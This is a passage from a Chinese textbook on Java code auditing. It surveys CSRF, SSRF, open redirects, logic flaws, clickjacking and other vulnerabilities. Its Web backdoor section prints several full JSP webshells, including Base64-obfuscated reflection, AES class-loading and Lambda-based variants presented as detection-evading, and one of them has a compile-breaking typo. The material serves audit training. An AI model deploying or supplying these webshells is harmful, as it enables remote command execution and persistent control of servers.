OWASP TOP 10总结了Web应用程序中常见且极其危险的十大漏洞,在第5章中我们以2017版本为例详细介绍了这10项漏洞在代码审计中的审计知识,但除了 OWASP Top 10外,还有很多漏洞值得我们在代码审计中给予关注。本章将介绍一些不包括在“OWASP TOP 10 2017”的一些漏洞的代码审计知识。
CSRF(Cross Site Request Forgery,跨站点请求伪造)是目前出现次数比较多的漏洞,该漏洞能够使攻击者盗用被攻击者的身份信息,去执行相关敏感操作。实际上这种方式是攻击者通过一些钓鱼等手段欺骗用户去访问一个自己曾经认证过的网站,然后执行一些操作(如后台管理、发消息、添加关注甚至是转账等行为)。由于浏览器曾经认证过,因此被访问的网站会认为是真正的用户操作而去运行。简而言之,CSRF漏洞的工作原理是攻击者盗用了用户的身份,以用户的名义发送恶意请求。图6-1所示为CSRF漏洞的攻击原理。
图6-1 CSRF漏洞的攻击原理
从图 6-1中可以看到,一次完整的 CSRF 攻击需要具备以下两个条件。
总的来说,CSRF 漏洞攻击是一种比较简单的攻击,利用Web的隐式身份验证机制来达到攻击者的攻击目的。
SSRF(Server-Side Request Forge,服务端请求伪造)是目前在大型站点中出现频率较高的漏洞,这种漏洞通常是由攻击者构造的payload传递给服务端,服务端对传回的 payload 未做处理直接执行而造成的。一般情况下,攻击者无法访问攻击目标的内网,SSRF 是攻击者访问内网的凭借之一,因为SSRF 攻击是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。
SSRF 的漏洞原理很简单,基本上都是服务端提供了从其他服务器应用获取数据的功能且没有对目标地址和传入命令进行过滤与限制造成的,如常见的从指定URL地址加载图片、文本资源或者获取指定页面的网页内容等。图6-2所示为对SSRF漏洞利用流程的简单描述。
图6-2 SSRF攻击流程
如图 6-2 所示,攻击者首先向可直接访问的 Web站点发送攻击载荷,该攻击载荷的攻击对象为内部网络。然后,Web 站点作为“中间人”,将包含有恶意攻击请求的请求传递给内部网络,内部网络接受请求并处理后,将结果返回给 Web站点。最后,Web 站点将内部网络返回的结果传递给攻击者,以此达到攻击内部网络的目的。
URL 跳转漏洞也叫作 URL 重定向漏洞,由于服务端未对传入的跳转地址进行检查和控制,从而导致攻击者可以构造任意一个恶意地址,诱导用户跳转至恶意站点。因为是从用户可信站点跳转出去的,用户会比较信任该站点,所以URL跳转漏洞常用于钓鱼攻击,通过转到攻击者精心构造的恶意网站来欺骗用户输入信息,从而盗取用户的账号和密码等敏感信息,更甚者会欺骗用户进行金钱交易。
URL跳转漏洞的成因并不复杂,主要是服务端未对传入的跳转URL变量进行检查和控制,或者对传入的跳转URL变量过滤不严格导致的,图6-19所示为一次URL
图6-19 一次URL跳转攻击
跳转攻击。
攻击者首先精心构造一个钓鱼站点 A,然后利用 URL 跳转漏洞修改目的跳转地址,使原本应跳转到可信任站点 C 的地址变成钓鱼站点 A。由于用户信任站点 B,而钓鱼站点 A 又是从可信任站点 B 中重定向的,因此可能对钓鱼站点 A 同样信任。用户一旦用户输入相关的敏感信息,就可能被攻击者窃取。
文件操作是 Java Web 的核心功能之一,其中常用的操作就是将服务器上的文件以流的形式在本地读写,或上传到网络上,Java中的File类就是对这些存储于磁盘上文件的虚拟映射。与我们在本地计算机上操作文件类似,Java对文件的操作同样包括上传、删除、读取、写入等。Java Web本身去实现这些功能是没有漏洞的,但是由于开发人员忽略了一些细节,导致攻击者可以利用这些细节通过文件操作Java Web 本身的这一个功能,从而实现形如任意文件上传、任意文件下载/读取、任意文件删除等漏洞,有的场景下甚至可以利用文件解压实现目录穿越或拒绝服务攻击等,对服务器造成巨大的危害。
Web 后门指的是以网页形式存在的一种代码执行环境,通过这种代码执行环境,攻击者可以利用浏览器来执行相关命令以达到控制网站服务器的目的。这里的代码执行环境其实是指编写后门所使用的语言,如PHP、ASP、JSP 等,业内通常称这种文件为 WebShell,其主要目的是用于后期维持权限。本节将简单介绍一些 Java的 Web 后门。
Java Web 是很多大型厂商的选择,也正是因为如此,Java Web 的安全问题日益得到重视,JSP Webshell 就是其中之一。最著名的莫过于 PHP 的各种奇思妙想的后门,但与 PHP 不同的是,Java 是强类型语言,语言特性较为严格,不能够像 PHP 那样利用字符串组合当作系统函数使用,但即便如此,随着安全人员的进一步研究,依旧出现了很多奇思妙想的 JSP Webshell。下面我们将通过几种不同的 JSP Webshell 来简单讲解 Java Web 后门。
与 PHP 中的命令执行函数 system() 和 eval() 类似,Java 中也存在命令执行函数,其中使用最频繁的是 java.lang.Runtime.exec() 和
java.lang.ProcessBuilder.start(),通过调用这两个函数,可以编写简单的Java Web 后门。在 Java 中调用函数的方式有很多种,本节主要讲解直接调用和反射调用这两种类型的 Web 后门。
第一种是直接调用。顾名思义,就是通过直接调用命令执行函数的方法来构造 Web 后门,示例代码如下。
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
上述代码是一个简单的JSP一句话木马,但是这种类型的一句话后门是没有回显的,即当攻击者执行命令后无法看到返回的信息。因此这种后门通常用来反弹shell,比较常见的有回显的 JSP 一句话木马示例如下。
<%
java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
%>
这个一句话木马与前一个相比较,多了回显的功能,能够将攻击者执行命令后的结果反馈给攻击者,如图6-42所示。
图6-42 JSP一句话木马回显结果
类似于这种一句话后门在审计时很容易被发现,只需要搜索关键函数Runtime.getRuntime().exec 就能够发现其是否是 Java Web 后门。
第二种是反射调用。通过上文我们了解到,当攻击者通过直接调用的方式在 Web 站点植入一句话后,对于审计者来说,很容易通过查找关键函数来发现后门,因此有些攻击者选择更隐蔽的反射调用类 Web 后门,如以下示例代码。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
BASE64Decoder decoder = new BASE64Decoder();
Class rt = Class.forName(new String(decoder.decodeBuffer ("amF2YS5sYW5nLlJ1bnRpbWU=")));
Process e = (Process)
rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))). invoke(null, new
Object[]{}), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
%>
在上述代码中,攻击者并没有采用直接使用类名调用方法的方式去构造后门,而是采用动态加载的方式,把所要调用的类与函数放到一个字符串的位置,然后利用各种变形(此处利用的是 Base64 编码)来达到对恶意类或函数隐藏的目的,即使通过关键函数搜索也没法发现后门。
此外,由于反射可以直接调用各种私有类方法,导致了利用反射编写的后门层出不穷,其中最有代表性的就是通过加载字节码编写的后门,这种后门使服务端动态地将字节码解析成Class,这样一来就可以达到“一句话木马”的效果。著名的客户端管理工具“冰蝎”就是采用了这种方式。如下示例代码就是采用这种方式的简单实现。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class U extends ClassLoader{
U(ClassLoder c){
super(c);
}
}
public Class g(byte []b){
return super.defineClass(b,0,b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc. BASE64Decoder().decodeBuffer(request.getReader().readLine()))). newInstance().equals(pageContext);
}
%>
对于此类后门通常采用后门扫描工具进行检测,在人工审计时通常着重关注其加密的函数,如BASE64Decoder()以及SecretKeySpec()等。
JDK 全称为 Java Development Kit,是 Java 开发环境。我们通常所说的 JDK 指的是 Java SE (Standard Edition) Development Kit。除此之外还有 Java EE(Enterprise Edition)和 Java ME(Micro Edition)。从 JDK 诞生至今,每个版本都有不同的特性,利用这些特性可以编写出不同类型的 Java Web 后门。以下示例就是利用了Java 的相关特性来编写的 Java Web后门。
利用Lambda 表达式编写的 JSP 一句话木马。
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.function.Function" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.stream.Collectors" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Collections" %>
<%@ page import="java.util.ArrayList" %>
Title
<%
String[] planets = new String[] { "redliuBssecorP.gnal.avaj"};
Arrays.asList(planets).replaceAll(s -> new StringBuilder(s).reverse(). toString());
String name = Arrays.toString(planets).replace("[","").replace("]","");
String st = "start";
String pw = request.getParameter("pw");
Class cls = Class.forName(name);
Object obj = cls.getConstructor(List.class).newInstance(Arrays. asList(pw));
Method startCmd = cls.getMethod(st);
Process p = (Process)startCmd.invoke(obj);
InputStream in = p.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
%>
Lambda 允许把函数作为一个方法的参数(函数作为参数传递进方法中)。利用这个特性我们可以操作类名,从而达到躲避检测的目的。
与此类似,用户还可以利用Java 8 的新特性,访问接口中的默认方法—— Reduce来编写 JSP 一句话木马,示例代码如下。
<%@ page import="java.util.function.Function" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.Optional" %>
Title
<%
List stringCollection = new ArrayList<>();
stringCollection.add("ProcessBuilder");
stringCollection.add("java.lang.");
Optional reduced =
stringCollection
.stream()
.sorted()
.reduce((s1, s2) -> s2 + "" + s1);
String name = String.valueOf(reduced).replace("Optional[","").replace("]","");
String st = "start";
String pw = request.getParameter("pw");
Class cls = Class.forName(name);
Object obj = cls.getConstructor(List.class).newInstance(Arrays.asList (pw));
Method startCmd = cls.getMethod(st);
Process p = (Process)startCmd.invoke(obj);
InputStream in = p.getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
%>
Reduce 是一个最终操作,允许通过指定的函数将 stream 中的多个元素规约为一个元素,规约后的结果通过 Optional 接口表示,然后利用 replace 替换执行函数的字符串即可达到免杀的效果。
JDK 新版本的特性还有很多,并且此类后门的防患较为困难。对于初级审计者来说发现后门并不是重点任务,重点是发现源程序本身存在的漏洞,但学习 Java Web 后门的相关知识对我们的审计能力同样能够起到相辅相成的作用,毕竟每一个 Java 代码执行漏洞在某种意义上来说都是一个 Java Web 后门。
除根据函数调用编写方式和利用 JDK 特性编写的 Java Web后门外,还有很多其他更有趣的编写方式,如Java 中存在很多表达式,包括 OGNL、SpEL、MVEL、EL、Fel、JST+EL等,这些表达式都有自己的特性和写法。因此根据这些表达式的特性和写法也能够写出不同类型的Java Web后门,以及实现动态注册自定义 Controller实现的内存级webshell、内部类编写的 webshell等。对这些更深入的编写方式有兴趣的读者可以在互联网上自行收集资料,来加深对于 Java 代码审计的理解。
目前的开发人员都具备一定的安全开发知识,不少公司还特地对开发人员进行了安全开发培训。对于安全人员来说,想要审计出代码执行、注入漏洞等高危漏洞是非常困难的,一定要贴合业务去挖掘漏洞,因此逻辑漏洞的挖掘就变成了一项比较重要的审计内容。
逻辑漏洞一般是由于源程序自身逻辑存在缺陷,导致攻击者可以对逻辑缺陷进行深层次的利用。逻辑漏洞出现较为频繁的地方一般是登录验证逻辑、验证码校验逻辑、密码找回逻辑、权限校验逻辑以及支付逻辑等常见的业务逻辑。本节将挑选一些比较经典的逻辑漏洞进行讲解。
随着前端技术的快速发展,各种前端框架、前端配置不断更新,前端的安全问题也逐渐显现出来。为了应对这些问题,也诞生了诸如 CORS、CSP、SOP等一些应对策略。本节就来谈一谈由于前端配置不当而导致的一些漏洞。
拒绝服务(Denial of Service,DoS)攻击,也称作洪水攻击,这种攻击的目的在于使目标电脑的网络或系统资源耗尽,服务暂时中断或停止,导致正常用户无法访问。那么 Web 本身的代码逻辑或功能是否会导致出现拒绝服务呢?答案是肯定的。Java中有很多因为本身逻辑或者功能而导致的拒绝服务,如ReDoS、JVM DoS、Weblogic HTTP DoS、Apache Commons fileupload DoS等,这些DoS形成的原因各不相同,造成的结果大相径庭,本节将介绍Java中的拒绝服务攻击漏洞。
点击劫持(Clickjacking)也称为UI-覆盖攻击(UI Redress Attack),这个概念源于耶利米·格罗斯曼(Jeremiah Grossman)和罗伯特·汉森(Robert Hansen),这两人在2008年发现Adobe Flash Player 能够被劫持,使攻击者可以在用户不知情的情况下访问计算机。点击劫持是一种视觉上的欺骗手段,攻击者利用iframe元素制作了一个透明的、不可见的页面,然后将其覆盖在另一个网页上,最终诱使用户在该网页上进行操作。当用户在不知情的情况下单击攻击者精心构造的页面时,攻击者就完成了其攻击目的。图6-63所示为点击劫持漏洞的原理。
图6-63 点击劫持漏洞的原理
首先,攻击者利用iframe代码构建一个透明的恶意窗口;然后,将该界面固定在某个页面的某个功能处,当用户单击真实功能处时,实际上单击的是攻击者劫持的功能;最后,完成劫持,攻击者即可实现转账、获取个人信息、删除内容以及发布内容等目的。
在实际应用中,攻击者所追求的往往不是“点击”,而是“劫持”,有的攻击者甚至在输入框上伪装一个输入框,误导用户在错误的位置输入关键信息。
简单来说,HTTP 参数污染(HTTP Parameter Pollution,HPP)就是为一个参数赋予两个或两个以上的值。由于现行的 HTTP 标准并未具体说明在遇到多个输入值为相同的参数赋值时应如何处理,并且不同站点对此类问题做出的处理方式不同,因此会造成参数解析错误。
本文摘自《Java代码审计 入门篇》
代码审计(Code Audit)是一种以发现安全漏洞、程序错误和违反程序规范为目标的源代码分析。Web应用程序目前仍然是安全防御的重中之重,对业务的代码进行安全审计是十分重要的。加之Java语言的应用范围广,国内外大型企业大多采用Java作为核心的开发语言,因此对于安全从业者来说,Java代码审计成为了自身应该掌握的关键技能。
本书是一本Java代码审计入门图书,通过大量的示例介绍代码审计的常用入门知识。全书内容分为9章,主要介绍了代码审计的基础知识、代码审计的环境搭建、辅助工具简介、Java EE基础知识补充、OWASP Top十 2017内外的代码审计经验介绍、JSPXCMS代码审计实战以及IAST与RASP技术的介绍等内容,另外,本书还对Java安全编码规范索引进行了简单的介绍。
本书适合安全从业人员、软件开发人员以及对代码安全感兴趣的读者阅读。
本书内容:
◆ 初识Java代码审计;
◆ 代码审计环境搭建;
◆ 代码审计辅助工具简介;
◆ Java EE基础知识;
◆ “OWASP Top 10 2017”漏洞的代码审计;
◆ “OWASP Top 10 2017”之外常见漏洞的代码审计;
◆ Java EE开发框架安全审计;
◆ Jspxcms代码审计实战;
◆ 小话IAST与RASP。